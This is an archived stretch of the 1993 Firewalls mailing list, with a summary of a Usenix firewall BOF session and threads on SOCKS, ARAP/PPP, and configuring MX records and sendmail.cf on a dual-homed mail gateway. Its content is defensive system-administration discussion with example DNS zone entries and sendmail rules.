relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA25780; Tue, 19 Oct 93 12:31:37 PDT Received: from spool.uu.net (via LOCALHOST) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA18967; Tue, 19 Oct 93 15:35:11 -0400 Received: from uworld.UUCP by uucp1.uu.net with UUCP/RMAIL (queueing-rmail) id 153306.14942; Tue, 19 Oct 1993 15:33:06 EDT Reply-To: crow!rik@uunet.UU.NET Received: by crow.spirit.com (4.1/SMI-4.1) id AA05074; Tue, 19 Oct 93 12:01:22 MST Date: Tue, 19 Oct 93 12:01:22 MST From: crow!rik@uunet.UU.NET (Rik Farrow) Message-Id: <9310191901.AA05074@crow.spirit.com> To: firewalls@greatcircle.com Subject: Summary of Firewall BOF, 4th Security Symposium Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I can almost see the surface of my desk today, so I suppose it's time to summarize the birds-of-a-feather discussion about firewalls which went on from 2000 to about 2210 during the Fourth Usenix Security Symposium in Santa Clara, CA (Oct 5, 1993). I have tried to identify people whenver possible. After the first time, the person will be identified by their intials inside of square brackets. [Editorial comments also appear inside of square brackets.] Un-identified persons are referred to as [UP]. This goes on for another 260 lines, so if you want to skip ahead ... Ying-da Lee [YL] led off by announcing the beta version of his version of socks, 4.1, which he said had gone out to 20 people so far, and seems to have no major problems. Steve Bellovin [SB] suggested that Bill LeFabvre's shared library was a better solution because everything didn't need to be relinked. YL: You need source to solve problems. [no debate ensued.] YL went on to describe socks at Brent Chapman's [BC] request--a server which runs via inetd on port 1080. Connect and bind are replaced in client software by rconnect and rbind which use access control lists in the sockd server (which is run on a gateway), and which will pass through permitted connections (run a proxy service). Currently telnet, ftp, finger, gopher, and xmosaic clients are supported. David Koblas did original socks. Next big project is to make it more portable (runs on Suns, HP, AIX, SGI (and an unidentified person [UP] said he had ported it to Univel. 4.1 beta can run on multi-homed hosts. The ident daemon [a source of much debate on this list] is used to identify users (RFC 1413). Software available from ftp.inoc.dl.nec.com:/pub/security/socks.cstc and a support mailing list from socks-request@inoc.dl.nec.com. UP: What about load? Paul Moriarty [PM]: Not much load (an early version on a 5 mips machine supported 600 users). BC: [Brent tries some raising-of-hands polling, about 120 people present] 5 Universities with firewalls 3 sites using commercial products 5 sites with dual homed hosts 14 filtering only 14 combinations of filtering and dual homed hosts [all numbers are approximate...] Mike Ressler [MR]: What is your definition of firewalls? BC: Allows you to use your network services while protecting you from [users on] external networks. SB: [who is writing a book with Bill Cheswick about network security] Three types of firewalls: 1. packet filter (works at network layer, one packet at-a-time, no content checking); 2. application gateway, for example, a mail server; 3. a transport layer connection to the firewall [eg, socks]. [At this point, a "debate" broke out between MR, Ed Gould [EG], and SB about effectiveness of firewalls. I'll try to hit high points...] EG: If someone breaks into our internal net via a modem [on in internal machine], we use chokes on outgoing traffic [sounds like DEC SEAL product]. MR: What is an internal firewall called? SB: A firewall. Really no difference. Firewalls pose an administrative policy on network use. EG: The Internet is a collection of smaller networks. No difference between defending against Internet attacks and attacks from one internal net against another [most security incidents are inside jobs...] UP: What about connecting to another entity with which you have a contractural relationship? EG: You use your fireall to implement policy [very approximately what he said]. UP: How many persons allow writeable ftp sites? [about 12] Ed DeHart [ED]: CERT recommends no drop off directories unless you require it. [People have learned that ftp sites make dandy places for exhanging cracking tools, stolen software, pornographic images...] Recommend that you change the source to protect drop off directories [access control for trusted sites]. Or create an execute-only directory and use writeable subdirectories with password-like names for trusted sites. Danny from Tandy [DT]: When we want a software upgrade from Cisco, we telnet to them, request a download. Then they set up an ftp request TO tandy to deliver software. SB: Open up ftp for cisco, and close it down when done. EH: The dark side of ftp is that the FBI and Department of Justice fear that a site used [unknowingly] for software piracy could have a civil suit file against them. SB: I have seen drop off and pickup within 10 minutes, after which files were deleted. [SB works with a well-monitored firewall; see "There be Dragons" in Third USenix Security Symposium Proceedings] UP: I have seen something like the cisco arrangement when getting PEM [privacy enhanced mail, includes "restricted to US" RSA technology] where you get a directory name from TIS, and have ten minutes to ftp and get the source. EG: Two step handshake to give notice. SB: FTP data is inherently insecure [other site initiates connection from a privileged port, ftp data]. You could do transfer in passive mode, where client requests transfer (RFC 1123). UP: Have you released the code to do this? SB: Two hours of hacking. Have tried to get it into NCR code. UP: How many people have diodes [only allow outgoing ftp]? [about half] UP: Publicly writeable /pub? [no answers] EH: Don't do it. You'll have .rhosts and .forward files in no time. Correctly setup ftp [with directories owned by root, not the ftp user] and you should be safe. BC: I have heard of someone who is creating a stripped down BSD/386 system which is burned into CDROM for specific purposes [such as running on a firewall host or gateway--can't be modified]. Johanna [J]: We have a very stripped down host we use for running ftp. SB: Remove things you don't need--you don't have to trust the buggy software you don't run. UP: List of safe/unsafe software? BC: THat's backwards. If you don't need it, get rid of it. You'd be amazed at how little you need to run a bastion host. And start everything from inetd using tcp_wrappers. UP: Use a sendmail replacement? BC: Sometime soon. The problem is you connect to the SMTP port which is running a privileged process [sendmail]. A solution is to let a daemon collect requests and put them in a queue, where another process will handle them. A good design. SB: SMTP is a simple protocol--isolate it on a firewall machine. Sendmail has it wrong--talk to one process on the gateway and another to pass it "over the wall". 1. Mailers cross protection domains. A requirement that mailer can change ownership from send to recipient. 2. Also, mailbox is a virtual concept--doesn't have to be a file. Mail was moved from the user's home directory to /usr/spool in version 7 UNIX [about 1978]. UP: Telnet to allow certain partners to use certain services? SB: Set up a circuit. UP: Sure. Use TCPR to set up a circuit through the gateway. Jon Boot: Two competing companies need to work at the same site. Which accounts do you allow access to? [JB works at a supercomputing site.] Do you control access based on source network address? SB: Have them telnet into the gatewat host, and rlogin from there. UP: IP falsifying attacks? SB: I wouldn't say they are impossible. Robert Moris Jr. successfully injected packets [sequence number attack, where packets are "manufactured" to have the same sequence number as real packets which follow shortly]. Me: What about source route attacks? BC: Configure your routers against it. SB: Tunneling will become more of a problem as time goes on. MR: What about Swipe[?]? SB: Don't let it in even if it is encrypted. It's a matter of policy. I don't trust Matt Blaze's machine because I haven't audited it. MR: Bell Labs doesn't use Swipe? [MR works for Bellcore] SB: Not an issue for me. More concerned about tunneling. UP: We are using hardware encryption. SB: AT&T OEMs Xerox Semaphore, UUNET also has a box. Me: Morningstar Technoligies' new router can encrypt at 56-64 kilobits per second. JB: Restrict who people talk to by using static routes? BC: Break root, add routes. I believe in filtering. SB: Whether you use filtering or routing, it is an issue of transitive trust. Frank of TIS: Login via a proxy service to a captive account. Man from DEC: We use a tunnel from outside of the firewall to the other end of tunnel inside the firewall for order from DEC. UP: How do you handle RPC? BC: Filter out UDP. Marcus Ranum [MR]: If someone gets on the machine, you're screwed. SB: We believe in protection in depth. UP: How do you get in while traveling? SB: We use SecureNet key to get in. Response-challenge to gateway, rlogin [no password] to home machine. Bill Cheswick is rebuilding gateway the third time. UP: Assume everything is monitored. SB: Don't trust anything. MR: We have SKey [designed at Bell Labs]. It keeps a numbered list of pass keys [one-time keys] and asks for a certain numbered key. If someone travels a lot, give them a SecureNet key. If they travel some, they can use a SecureNet from a pool. For occasional travelers, use SKey. BC: Across a firewall, provide mail, news, telnet, ftp, and dns, and people won't know or care there's a firewall there. MR: We are using the Internet as a backbone. Extending our perimeter across the Internet. First, centralize policy. All run at same level of security. Next, set up three bastion hosts for redundancy. A lot of what we will provide will be NFS... SB: We monitor routes used internally. BC: Scan all hosts and all ports and look for connections where they shouldn't be. MR: Use a static route on your gateway. BC: Good idea. Routing is simple on gateway machines. [another poll. How many sites have full time security people? 11. Six sites have full time auditors.] [End of BOF. I certaily noticed how the quantity of notes taken petered off about halfway through. If a debate got too interesting, notes also suffered. After the BOF, Marcus Ranum mentioned that Trusted Information Systems, TIS, who setup WhiteHouse.Gov, will hopefully be providing software and information about setting up a firewall. The software should include SKey, the programs necessary for using one-time keys. This should be a real boon for those of us who travel some and don't have deep pockets...] Rik Farrow From Firewalls-Owner Tue Oct 19 22:16:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA26424; Tue, 19 Oct 93 22:16:16 GMT Received: from att.att.com (gw1.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA26416; Tue, 19 Oct 93 15:16:09 PDT From: mosc@mhcnet.att.com Received: from juggler (juggler.cnet.att.com) by mhcnet (4.1/DCS-mhcnet-M2.2) id AA24866; Tue, 19 Oct 93 18:06:35 EDT Received: by juggler (4.1/DCS-mhcnet_client-S2.2) id AA04094; Tue, 19 Oct 93 18:07:08 EDT Date: Tue, 19 Oct 93 18:07:08 EDT Original-From: mhcnet!mosc (Howard_S_Moscovitz) Message-Id: <9310192207.AA04094@juggler> To: firewalls@greatcircle.com Subject: ARAP, PPP Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I am investigating using the LAT TermServe software based terminal server as a secure modem pool gateway. Among other things, we have several networks of Apple computers. The users of these computers have software that uses the Apple Remote Access Protocol (ARAP). Does anyone out there know where I can find a version of ARAP that runs on a SUN? The TermServe software has very nice hooks to UNIX. I'm also looking for PPP. Any help would be greatly appreciated. Thanks, Howard Moscovitz (mosc@aloft.att.com) From Firewalls-Owner Wed Oct 20 12:27:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA00102; Wed, 20 Oct 93 12:27:40 GMT Received: from waldorf.informatik.uni-dortmund.de by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA29994; Wed, 20 Oct 93 05:27:31 PDT Received: from aladin.Informatik.uni-dortmund.de by waldorf.informatik.uni-dortmund.de with SMTP (5.65+/UniDo 1.0.30) id AA23503; Wed, 20 Oct 93 13:30:43 +0100 Message-Id: <9310201230.AA09865@aladin.informatik.uni-dortmund.de> Received: from loopback by aladin.informatik.uni-dortmund.de id AA09865; Wed, 20 Oct 93 13:30:36 +0100 To: firewalls@greatcircle.com Cc: mik@aladin.informatik.uni-dortmund.de Subject: hints on application relay/gateway software ??? X-Organisation: University of Dortmund, IRB Date: Wed, 20 Oct 93 13:30:35 N From: Michael Kienle Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi netlanders, I'm pretty new to this group so excuse me, if I ask question being answered a few dozen times yet. I'm familiar with the basics of firewall-systems but I'm especially interested in the following topics: - is there any public domain application relay/gateway software available ( preferable via ftp....) - is there anything known about any commercial application relay/gateway implementation and where can I get informations about this stuff (hints to distributors, articles and so on appreciated) - are there any articles describing the (dis-)advantages of different pieces of software/ different configurations That's for today :-) Thanks in advance, Ciao - Michael - ============================================================================ Michael Kienle e-mail:mik@aladin.informatik.uni-dortmund.de Computer Science Department , IRB University of Dortmund, voice : +49 231 755 2422 44221 Dortmund, Germany fax: +49 231 755 2386 ============================================================================ From Firewalls-Owner Wed Oct 20 17:50:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA01057; Wed, 20 Oct 93 17:50:20 GMT Received: from gossip.pyramid.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA01047; Wed, 20 Oct 93 10:50:03 PDT Received: from sword.eng.pyramid.com by gossip.pyramid.com (5.61/OSx5.1a Pyramid-Internet-Gateway) id AA19781; Wed, 20 Oct 93 10:54:06 -0700 Received: by sword.eng.pyramid.com (5.61/Pyramid_Internal_Configuration) id AA23371; Wed, 20 Oct 93 10:53:45 -0700 From: pauld@pyramid.com (Paul Daw) Message-Id: <9310201753.AA23371@sword.eng.pyramid.com> Subject: Firewall Survey. To: Firewalls@GreatCircle.COM Date: Wed, 20 Oct 93 10:53:45 PDT In-Reply-To: <9310200800.AA29453@mycroft.GreatCircle.COM>; from "Firewalls-Digest-Owner@GreatCircle.COM" at Oct 20, 93 1:00 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > >From: doc@magna.com (Matthew J. D'Errico) >Date: Tue, 19 Oct 1993 10:25:58 -0500 (EDT) >Subject: Real-Life Firewall Usage Survey... > >I'm looking for real-life information regarding firewall preferences... > >To make the query simple so as to obtain as many responses as possible, >would you please respond with short answers to the following questions ? > >1) Network size : HUGE, Large, Medium, Small > > Where Huge is over 1000 nodes, large is a multi-site network, > medium is several bridged LANs, and small is a single LAN... > >2) Router / Internet Gateway : CISCO, Wellfleet, Telebit NetBlazer, etc... > >3) Firewall platform : e.g.: Router, Unix box (vendor, please)... > >4) Firewall Software : non, screend, SOCKS, etc... > > please specify whether the software is home-grown, PD, or > commercial, and if commercial, from whom (h/w vendor, 3rd party)... > >5) Does your platform provide the security you need ? > > If not, have you had any "break-ins" ? > >6) What's your biggest security concern (why am I using a Firewall ?) > >Additional commentary is also invited if you're the gregarious type, >regarding why you use what you use, and if you've evaluated any other >platforms and/or combinations... > >Merci Boucoup ! > >- -- Doc There's no way that I am going to respond to this questionnaire until I know who you are, and I won't do it through email. Call me. -m--------- Paul Daw, Postmaster Pyramid Technology Corporation ---mmm------- (408) 428-8882 3860 North First Street -----mmmmm----- pauld@pyramid.com -or- San Jose, CA -------mmmmmmm--- uunet!pyramid!pauld 95134 From Firewalls-Owner Thu Oct 21 04:25:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA02338; Thu, 21 Oct 93 04:25:12 GMT Received: from gateway.Ameritech.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA02330; Wed, 20 Oct 93 21:25:04 PDT Received: from [144.148.16.1] by gateway.Ameritech.COM with SMTP (5.65/25-eef) id AA02032; Wed, 20 Oct 93 23:27:29 -0500 Received: by nast0.bdy.wi.ameritech.com (5.65/25-eef) id AA04171; Thu, 21 Oct 93 04:27:01 GMT From: Andrew D. Kailhofer Message-Id: <9310210427.AA04171@nast0.bdy.wi.ameritech.com> Subject: socks and macs To: firewalls@greatcircle.com Date: Wed, 20 Oct 93 23:27:01 CDT X-Mailer: ELM [version 2.3 PL8] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello, folks. I'm wondering if anyone out there has a lead on a Macintosh ftp client that uses socks. I could have sworn that I read something somewhere (here?) about this, but I'm completely in the dark as far as remembering goes. Any information would be appreciated. The thought of having our Macintosh-compatible executives log in to our (eek, oh-so-user-unfriendly) UNIX firewall strikes fear and loathing into the hearts of our corp communications people, and just this once I would love to actually give them what they want. Please mail me and I will summarize if there is sufficient response/interest. -- Andy Kailhofer Ameritech Services, Inc. 414/678-7793 a907932@nast0.bdy.wi.ameritech.com FAX: 414/678-6335 740 N Broadway, Room 430, Milwaukee, WI 53202 Member: League for uwm.edu!gus!a907932 postmaster@ameritech.com Programming Freedom From Firewalls-Owner Thu Oct 21 07:50:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA02879; Thu, 21 Oct 93 07:50:06 GMT Received: from ursula.ee.pdx.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA02869; Thu, 21 Oct 93 00:49:58 PDT Received: by ursula.ee.pdx.edu (4.1/SMI-4.1) id AA19944; Thu, 21 Oct 93 00:54:25 PDT From: bryan@ee.pdx.edu (Bryan Curnutt) Message-Id: <9310210754.AA19944@ursula.ee.pdx.edu> Subject: MX record for domain? To: firewalls@GreatCircle.COM Date: Thu, 21 Oct 1993 00:54:24 -0700 (PDT) Reply-To: bryan%uhura1@uunet.uu.net X-Mailer: ELM [version 2.4 PL23beta] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1844 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'm trying to configure DNS on a gateway machine (I can't call it a firewall yet, but it's intended to eventually serve that purpose). It's a dual-homed machine with IP forwarding turned off, and will serve as an application gateway, additionally with packet filtering if I can figure out how to add it very cheaply... The gateway machine is the only machine on our network that's visible from the Internet; the mailhost machine is visible to the gateway, but not to the Internet. I'd like people to be able to send mail to "username@mydomain.com" rather than "username@myhost.mydomain.com". The sendmail 8 documentation says that I need an MX record in order to receive mail from some versions of sendmail, so I'm trying to configure an MX record for "mydomain.com". I currently have A records for both "gateway.mydomain.com." and "mydomain.com." that point to the same IP address. This allows me to "telnet mydomain.com" or "ftp mydomain.com" from the Internet, and to send mail to "username@mydomain.com" if I don't set up an MX record, as long as sendmail on the remote machine from which I'm sending doesn't require an MX record to exist. If I set up an MX record for "mydomain.com." that points to "gateway.mydomain.com." then sendmail on the gateway machine won't work because it refuses to talk to itself. If I set up an MX record for "mydomain.com." that points to "mailhost.mydomain.com." then I can't receive mail from the Internet, because sendmail (or whatever) on the Internet machines attempts to contact "mailhost.mydomain.com." which isn't reachable from the Internet. What's the right way to do this? -- Bryan Curnutt Stoner Associates, Inc. bryan%uhura1@uunet.uu.net 5177 Richmond Ave, Suite 1075 (713)626-9568 voice (713)622-7832 fax Houston TX 77056 From Firewalls-Owner Thu Oct 21 15:13:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA03700; Thu, 21 Oct 93 15:13:11 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA03692; Thu, 21 Oct 93 08:13:02 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29178; Thu, 21 Oct 93 11:16:05 -0400 Received: from harker.UUCP by uucp4.uu.net with UUCP/RMAIL (queueing-rmail) id 111451.10263; Thu, 21 Oct 1993 11:14:51 EDT Received: from science.harker.com (science.harker.com) by harker.com (4.1/simpleuucp1.0a) id AA20175; Thu, 21 Oct 93 08:08:52 PDT Date: Thu, 21 Oct 93 08:08:52 PDT From: harker@harker.com (Robert Harker) Message-Id: <9310211508.AA20175@harker.com> To: bryan%uhura1@uunet.uu.net Subject: Re: MX record for domain? (long) Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The problem you have is with sendmail.cf file. It needs to be configured to forward mail for mydomain.com to mailhost.mydomain.com. This is from what I explain in my "Sendmail Made Simple" and "Advance Sendmail" classes. First to recap what is needed for DNS. The DNS server only needs to publish The Start Of Authority (SOA), Name Server (NS) and Address (A) records for the DNS servers. It then needs to advertise Mail eXchanger (MX) Records for the domain itself and wild card MX records for anything inside the domain. For example: ; primary DNS information file for widget.com domain mydomain.com. SOA fire.mydomain.com. postmaster.fire.mydomain.com. ( 93102101 ; SERIAL in yymmddvv format 3600 ; REFRESH every hour 300 ; RETRY every 5 mins. 604800 ; EXPIRE in 7 days 86400 ) ; MINIMUM TTL of a day NS fire.mydomain.com. NS ext-ns.service.prvdr. ext-ns.service.prvdr. A 123.456.789.012 ; A record just in case ; @ MX 10 fire.mydomain.com. ; MX record for MX 20 ext-ns.service.prvdr. ; the domain itself ; * MX 10 fire.mydomain.com. ; wildcard MX record for MX 20 ext-ns.service.prvdr. ; the domain itself ; Host information for the firewall fire.mydomain.com. A 192.102.231.19 ; A record for the firewall MX 10 fire.mydomain.com. ; Host specific MX record for MX 20 ext-ns.service.prvdr. ; the firewall itself A few gotchas: It is important that, if you advertize A records for hosts behind the firewall, that you need to publish a host specific MX records for each host pointing to the firewall. This is because if sendmail finds host specific information for a host, it will not use any wildcard information (its a feature (:-). You also want to use a higher precedence MX record pointing to an external mail server. This is to protect your host from being slaughtered if you loose your link to the Internet. Mail in real time will be spooled on the external mail server. When the link comes back up, the external mail server will make a single SMTP connection to exchange the backlog of mail rather than having each possible source of mail trying to make a separate connection. (Please make sure that the external mail server is willing to do this for you) The next part of the configuration is to have the firewall host deliver mail for the domain or for a host in the domain to an internal mail host. This is done in ruleset Zero of the sendmail.cf file. The simple way to deal with this is to look for mail that ends with my domain name and deliver it to the internal mail server ($D or $m in many, but not all sendmail.cf files): R$+<@$+.$D> $#SMTP_mailer $@mailhost.mydomain.com $:$1@$2.$D While this is the simple case, you will need to check for many different cases: user, user@mydomain.com, user@int_host.mydomain.com, user@int_host. Most sendmail.cf files use the pseudo host @LOCAL (at local) to indicate mail for this host itself and the pseudo domain .LOCAL (dot local) to indicate delivery for the domain itself. You might want to try removing the rules in ruleset Zero that strip the @LOCAL and .LOCAL pseudo domains. Then around where you test for delivery to a host on the local network (R$+<@$->) but before you test for delivery to a local user add some rules to handle delivery to these pseudo domains. You also want to route mail to the local network and to local users to the mail relay: R$+<@$-> $#SMTP_mailer $@mailhost.mydomain.com $:$1@$2 R$+<@$+.LOCAL> $#SMTP_mailer $@mailhost.mydomain.com $:$1@$2 R$+<@LOCAL> $#SMTP_mailer $@mailhost.mydomain.com $:$1 R$- $#SMTP_mailer $@mailhost.mydomain.com $:$1 By doing this in ruleset Zero you are only affecting the envelope address, not the addresses in the mail message headers. Please note, these are code fragments for sendmail.cf and you would need to debug them with all of the different variants of internal and external addresses. The best tool for doing this is the checksendmail Perl script written by Rob Kolstad and available on: netcom.com:/pub/harker/checksendmail.shar Also for those who are interested, I am teaching my "Sendmail Made Simple" and "Advance Sendmail" classes in Boston on Nov 1 & 2 and in Santa Clara CA on Nov 10 & 11. For more information or to be added to our mailing list please sendmail to: info@harker.com Hope this helps RLH Robert Harker sendmail and TCP/IP Network Training Harker Systems Network and Sysadmin Consulting harker@harker.com 1180 Hester Ave netcom!harker!harker San Jose, CA 95126 uunet!harker!harker 408-295-9432 From Firewalls-Owner Thu Oct 21 15:55:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA03767; Thu, 21 Oct 93 15:55:57 GMT Received: from telemann.inoc.dl.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA03759; Thu, 21 Oct 93 08:55:43 PDT Received: by telemann.inoc.dl.nec.com (4.1/YDL1.9-920831.09) id AA11077(telemann.inoc.dl.nec.com); Thu, 21 Oct 93 10:59:00 CDT Received: by texas.syl.dl.nec.com (4.1/YDL1.9-930614.17) id AA22964(texas.syl.dl.nec.com); Thu, 21 Oct 93 10:58:58 CDT Received: by florida.syl.dl.nec.com (4.1/YDL1.9-920708.13) id AA09729(florida.syl.dl.nec.com); Thu, 21 Oct 93 10:58:57 CDT Date: Thu, 21 Oct 93 10:58:57 CDT From: ylee@syl.dl.nec.com (Ying-Da Lee) Message-Id: <9310211558.AA09729@florida.syl.dl.nec.com> To: bryan%uhura1@uunet.uu.net, firewalls@GreatCircle.COM Subject: Re: MX record for domain? Cc: ylee@syl.dl.nec.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >If I set up an MX record for "mydomain.com." that points to >"gateway.mydomain.com." then sendmail on the gateway machine won't >work because it refuses to talk to itself. If I set up an MX >record for "mydomain.com." that points to "mailhost.mydomain.com." >then I can't receive mail from the Internet, because sendmail >(or whatever) on the Internet machines attempts to contact >"mailhost.mydomain.com." which isn't reachable from the Internet. The most straightforward way is to set up two MX RRs: mydomain.com. IN MX 0 mailhost.mydomain.com. IN MX 50 gateway.mydomain.com. Outside host will first try to send mail addressed to xxx@mydomain.com to mailhost.mydomain.com, which will fail, and it will then send to gateway.mydomain.com instead. Machine gateway.mydomain.com will then send it to mailhost.mydomain.com, which will be delivered successfully. In the MX RRs, the lower the number, the higher the priority. This does slow down the delivery to your domain, and there are probably a few mailers out there that don't know enough to try gateway.mydomain.com after failing mailhost.mydomain.com, fortunately they are in the small minority nowadays. If you are using dual (inside/outside) DNS, you can simply use gateway.mydomain.com for MX in the DNS databse for outside and mailhost.mydomain.com for inside, and point the resolv.conf on gateway.mydomain.com to the inside DNS server. Finally, if you are not afraid of fooling with sendmail.cf, then adding a line that should look something like R$*<@mydomain.com>$* $#ether$@mailhost.mydomain.com$:$1<@mydomain.com>$2 near the top of rulset 0 in gateway.mydomain.com's sendmail.cf should take care of your problems without using two MX RRs. Please note that the actual contents of that sendmail rule will have to depend on your overall sendmail.cf. Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com From Firewalls-Owner Thu Oct 21 15:59:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA03789; Thu, 21 Oct 93 15:59:07 GMT Received: from uu5.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA03781; Thu, 21 Oct 93 08:58:52 PDT Received: by uu5.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA17410 for ; Thu, 21 Oct 93 11:38:47 -0400 Received: from orsrv1.roadnet.ups.com by roadnet with SMTP id AA20089; Thu, 21 Oct 93 11:25:04 EDT Received: from vermont.roadnet.ups.com by orsrv1.roadnet.ups.com (4.1/SMI-4.1) id AA09831; Thu, 21 Oct 93 11:23:40 EDT Date: Thu, 21 Oct 93 11:23:40 EDT From: pmj@roadnet.ups.com (Pete Jansson) Message-Id: <9310211523.AA09831@orsrv1.roadnet.ups.com> To: firewalls@greatcircle.com Subject: WWW through Interlock Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk My company recently began taking connectivity service from ANS, including installation of an Interlock. I was wondering if it would be possible for me to use a WWW client on our shiny, fast new Internet connection, where I think I will have to go through the Interlock. I have asked the person here who serves as the technical contact with ANS, and he said that, when he asked ANS, they said they were working on it and might have gopher in a couple of months. I'm concerned that we don't understand enough about the Interlock to ask the right question, so I thought I'd appeal to this group for help. Thanks, Pete. From Firewalls-Owner Thu Oct 21 19:03:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04211; Thu, 21 Oct 93 19:03:39 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04180; Thu, 21 Oct 93 12:02:54 PDT Message-Id: <9310211902.AA04180@mycroft.GreatCircle.COM> To: bryan%uhura1@uunet.uu.net Cc: firewalls@GreatCircle.COM Subject: Re: MX record for domain? In-Reply-To: Your message of Thu, 21 Oct 1993 00:54:24 -0700 (PDT) Date: Thu, 21 Oct 1993 12:02:53 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk bryan@ee.pdx.edu (Bryan Curnutt) writes: # I currently have A records for both "gateway.mydomain.com." and # "mydomain.com." that point to the same IP address. This allows # me to "telnet mydomain.com" or "ftp mydomain.com" from the Internet, # and to send mail to "username@mydomain.com" if I don't set up an # MX record, as long as sendmail on the remote machine from which I'm # sending doesn't require an MX record to exist. # # If I set up an MX record for "mydomain.com." that points to # "gateway.mydomain.com." then sendmail on the gateway machine won't # work because it refuses to talk to itself. If I set up an MX # record for "mydomain.com." that points to "mailhost.mydomain.com." # then I can't receive mail from the Internet, because sendmail # (or whatever) on the Internet machines attempts to contact # "mailhost.mydomain.com." which isn't reachable from the Internet. If you've already got an A record that points to "mydomain.com", then you don't need an MX record that points there, too. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Thu Oct 21 19:48:50 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04416; Thu, 21 Oct 93 19:48:50 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA04407; Thu, 21 Oct 93 12:48:41 PDT Received: from cds1004.cadence.com by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA14112; Thu, 21 Oct 1993 12:46:04 -0700 Received: from [158.140.32.223] ([158.140.32.223]) by cds1004.cadence.com (8.6/8.6) with SMTP id MAA13143 for ; Thu, 21 Oct 1993 12:48:32 -0700 Date: Thu, 21 Oct 1993 12:48:32 -0700 Message-Id: <199310211948.MAA13143@cds1004.cadence.com> To: firewalls@greatcircle.com From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Re: MX record for domain? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I'm trying to configure DNS on a gateway machine (I can't call it a >firewall yet, but it's intended to eventually serve that purpose). >It's a dual-homed machine with IP forwarding turned off, and will >serve as an application gateway, additionally with packet filtering >if I can figure out how to add it very cheaply... > >The gateway machine is the only machine on our network that's visible >from the Internet; the mailhost machine is visible to the gateway, >but not to the Internet. > >I'd like people to be able to send mail to "username@mydomain.com" >rather than "username@myhost.mydomain.com". The sendmail 8 >documentation says that I need an MX record in order to receive mail >from some versions of sendmail, so I'm trying to configure an MX >record for "mydomain.com". > >I currently have A records for both "gateway.mydomain.com." and >"mydomain.com." that point to the same IP address. This allows >me to "telnet mydomain.com" or "ftp mydomain.com" from the Internet, >and to send mail to "username@mydomain.com" if I don't set up an >MX record, as long as sendmail on the remote machine from which I'm >sending doesn't require an MX record to exist. > >If I set up an MX record for "mydomain.com." that points to >"gateway.mydomain.com." then sendmail on the gateway machine won't >work because it refuses to talk to itself. If I set up an MX >record for "mydomain.com." that points to "mailhost.mydomain.com." >then I can't receive mail from the Internet, because sendmail >(or whatever) on the Internet machines attempts to contact >"mailhost.mydomain.com." which isn't reachable from the Internet. > >What's the right way to do this? The way we do it is to have separate DNS for internal and external consumption. The mail gateway uses the internal DNS which has "real" info. The external DNS allocates an MX record for every host with an A record with a value of 10 pointing to the mail gateway. The internal DNS has the lowest numbered MX record pointing to the real destination. The external DNS also has some "wildcard" MX records: *.cadence.com IN MX 10 mailgate.cadence.com. *.140.158.in-addr.arpa. IN PTR unknown.cadence.com. NB wildcard only operates on names with no A record. If you have an A record then the MX does not match. Hence the need for MX 10 records for each host you put in the external DNS. We put all of our A records on the external DNS in order to be polite to remote FTP sites. (also I didn't used to know about the PTR wildcard) Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services 